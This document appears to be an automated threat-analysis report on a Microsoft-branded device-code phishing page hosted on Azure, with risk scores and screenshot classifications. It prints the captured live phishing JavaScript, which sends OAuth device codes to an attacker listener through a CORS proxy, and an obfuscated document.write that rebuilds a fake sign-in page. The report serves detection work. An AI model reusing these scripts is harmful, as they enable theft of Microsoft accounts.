Windows Analysis Report
https://m3ins.azurewebsites.net/?user-agent=Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36%20(KHTML

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true,
    "reasoning": "This is a legitimate Microsoft Azure web hosting URL using azurewebsites.net domain, which is Microsoft's platform-as-a-service offering. While it is third-party hosting, it's a trusted Microsoft service."
}

URL: https://m3ins.azurewebsites.net

{
    "risk_score": 6,
    "reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission and the use of a CORS proxy to bypass same-origin policy restrictions. While the intent appears to be related to authentication and authorization, the use of a third-party CORS proxy and the lack of transparency around the destination server raise some concerns. Further review may be necessary to determine the full scope and purpose of the script."
}

        // Redirect CORS using corsproxy.io
        $.getJSON("https://api.allorigins.win/get?url=" + encodeURIComponent("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.windows.net")).done(function(data) {
            console.log(data);
            data = JSON.parse(data.contents);
            console.log(data);
            document.getElementById('code').innerHTML += data.message;
            // Change this line to point to your listening webserver
            $.ajax({
                url: "https://m3insdevices.eastus.cloudapp.azure.com:8443/?id=" + data.device_code,
                method: "GET",
                crossDomain: true
            });
            let message = data.message;
                console.log(message);
                
                // Use regex to find the URL
                let urlMatch = message.match(/(https?:\/\/[^\s]+)/g);
                
                if (urlMatch && urlMatch.length > 0) {
                    // Found a URL
                    let url = urlMatch[0];
                    let urlWithLink = `<a href="${url}" target="_blank">${url}</a>`;
                    
                    // Replace URL in the message with the new URL (which includes the link)
                    message = message.replace(url, urlWithLink);
                }
                
                // Use regex to find the code
                let codeMatch = message.match(/\b[A-Z0-9]{1,9}\b/);
                
                if (codeMatch && codeMatch.length > 0) {
                    // Found a code
                    let code = codeMatch[0];
                    let boldCode = `<strong>${code}</strong>`;
                    
                    // Replace code in the message with the bolded code
                    message = message.replace(code, boldCode);
                }
                // Display the result
                document.getElementById('code').innerHTML = message;
            });
            

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors that are indicative of malicious intent. It uses the `document.write()` function to dynamically insert HTML content, which can be used to execute remote or dynamic code. The content is also heavily obfuscated, making it difficult to analyze the true purpose of the script. Additionally, the script appears to be setting various meta tags and other elements that could be used for data exfiltration or other malicious activities. Overall, the combination of dynamic code execution, obfuscation, and suspicious metadata suggests a high-risk script that should be further investigated."
}

    document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%20%3C%68%74%6D%6C%20%64%69%72%3D%6C%74%72%20%63%6C%61%73%73%20%6C%61%6E%67%3D%65%6E%3E%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%75%74%66%2D%38%3E%0A%3C%74%69%74%6C%65%3E%53%69%67%6E%20%69%6E%20%74%6F%20%79%6F%75%72%20%61%63%63%6F%75%6E%74%3C%2F%74%69%74%6C%65%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%20%63%6F%6E%74%65%6E%74%3D%22%49%45%3D%65%64%67%65%22%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%76%69%65%77%70%6F%72%74%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%69%64%74%68%2C%20%69%6E%69%74%69%61%6C%2D%73%63%61%6C%65%3D%31%2E%30%2C%20%6D%61%78%69%6D%75%6D%2D%73%63%61%6C%65%3D%32%2E%30%2C%20%75%73%65%72%2D%73%63%61%6C%61%62%6C%65%3D%79%65%73%22%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%50%72%61%67%6D%61%20%63%6F%6E%74%65%6E%74%3D%6E%6F%2D%63%61%63%68%65%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%45%78%70%69%72%65%73%20%63%6F%6E%74%65%6E%74%3D%2D%31%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%78%2D%64%6E%73%2D%70%72%65%66%65%74%63%68%2D%63%6F%6E%74%72%6F%6C%20%63%6F%6E%74%65%6E%74%3D%6F%6E%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%50%61%67%65%49%44%20%63%6F%6E%74%65%6E%74%3D%43%6F%6E%76%65%72%67%65%64%52%65%6D%6F%74%65%43%6F%6E%6E%65%63%74%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%53%69%74%65%49%44%20%63%6F%6E%74%65%6E%74%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%52%65%71%4C%43%20%63%6F%6E%74%65%6E%74%3D%31%30%33%33%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%4C%6F%63%4C%43%20%63%6F%6E%74%65%6E%74%3D%65%6E%2D%55%53%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%66%6F%72%6D%61%74%2D%64%65%74%65%63%74%69%6F%6E%20%63%6F%6E%74%65%6E%74%3D%22%74%65%6C%65%70%68%6F%6E%65%3D%6E%6F%22%3E%0A%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%72%6F%62%6F%74%73%20%63%6F%6E%74%65%6E%74%3D%6E%6F%6E%65%3E%0A%3C%73%74%79%6C%65%3E%68%74%6D%6C%7B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%73%61%6E%73%2D%73%65%72%69%66%3B%2D%6D%73%2D%74%65%78%74%2D%73%69%7A%65%2D%61%64%6A%75%73%74%3A%31%30%30%25%3B%2D%77%65%62%6B%69%74%2D%74%65%78%74%2D%73%69%7A%65%2D%61%64%6A%75%73%74%3A%31%30%30%25%7D%62%6F%64%79%7B%6D%61%72%67%69%6E%3A%30%7D%61%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%74%72%61%6E%73%70%61%72%65%6E%74%7D%61%3A%61%63%74%69%76%65%2C%61%3A%68%6F%76%65%72%7B%6F%75%74%6C%69%6E%65%3A%30%7D%69%6D%67%7B%62%6F%72%64%65%72%3A%30%7D%69%6E%70%75%74%7B%63%6F%6C%6F%72%3A%69%6E%68%65%72%69%74%3B%66%6F%6E%74%3A%69%6E%68%65%72%69%74%3B%6D%61%72%67%69%6E%3A%30%7D%69%6E%70%75%74%5B%74%79%70%65%3D%22%73%75%62%6D%69%74%22%5D%7B%2D%77%65%62%6B%69%74%2D%61%70%70%65%61%72%61%6E%63%65%3A%62%75%74%74%6F%6E%3B%63%75%72%73%6F%72%3A%70%6F%69%6E%74%65%72%7D%2A%7B%2D%77%65%62%6B%69%74%2D%62%6F%78%2D%73%69%7A%69%6E%67%3A%62%6F%72%64%65%72%2D%62%6F%78%3B%2D%6D%6F%7A%2D%62%6F%78%2D%73%69%7A%69%6E%67%3A%62%6F%72%64%65%72%2D%62%6F%78%3B%62%6F%78%2D%73%69%7A%69%6E%67%3A%62%6F%72%64%65%72%2D%62%6F%78%7D%2A%3A%62%65%66%6F%72%65%2C%2A%3A%61%66%74%65%72%7B%2D%77%65%62%6B%69%74%2D%62%6F%78%2D%73%69%7A%69%6E%67%3A%62%6F%72%64%65%72%2D%62%6F%78%3B%2D%6D%6F%7A%2D%62%6F%78%2D%73%69%7A%69%6E%67%3A%62%6F%72%64%65%72%2D%62%6F%78%3B%62%6F%78%2D%73%69%7A%69%6E%67%3A%62%6F%72%64%65%72%2D%62%6F%78%7D%69%6E%70%75%74%7B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%69%6E%68%65%72%69%74%3B%66%6F%6E%74%2D%73%69%7A%65%3A%69%6E%68%65%72%69%74%7D%61%3A%66%6F%63%75%73%7B%6F%75%74%6C%69%6E%65%3A%74%68%69%6E%20%64%6F%74%74%65%64%3B%6F%75%74%6C%69%6E%65%2D%6F%66%66%73%65%74%3A%2D%32%70%78%3B%6F%75%74%6C%69%6E%65%3A%35%70%78%20%61%75%74%6F%20%2D%77%65%62%6B%69%74%2D%66%6F%63%75%73%2D%72%69%6E%67%2D%63%6F%6C%6F%72%7D%69%6D%67%7B%76%65%72%74%69%63%61%6C%2D%61%6C%69%67%6E%3A%6D%69%64%64%6C%65%7D%68%74%6D%6C%7B%66%6F%6E%74%2D%73%69%7A%65%3A%31%30%30%25%7D%62%6F%64%79%7B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%22%53%65%67%6F%65%20%55%49%20%57%65%62%66%6F%6E%74%22%2C%2D%61%70%70%6C%65%2D%73%79%73%74%65%6D%2C%22%48%65%6C%76%65%74%69%63%61%20%4E%65%75%65%22%2C%22%4

{
  "contains_trigger_text": true,
  "trigger_text": "Verify Identity",
  "prominent_button_name": "Verify",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "contains_trigger_text": true,
  "trigger_text": "Enter code to allow access",
  "prominent_button_name": "Next",
  "text_input_field_labels": "Code",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "contains_trigger_text": true,
  "trigger_text": "Enter code to allow access",
  "prominent_button_name": "Next",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}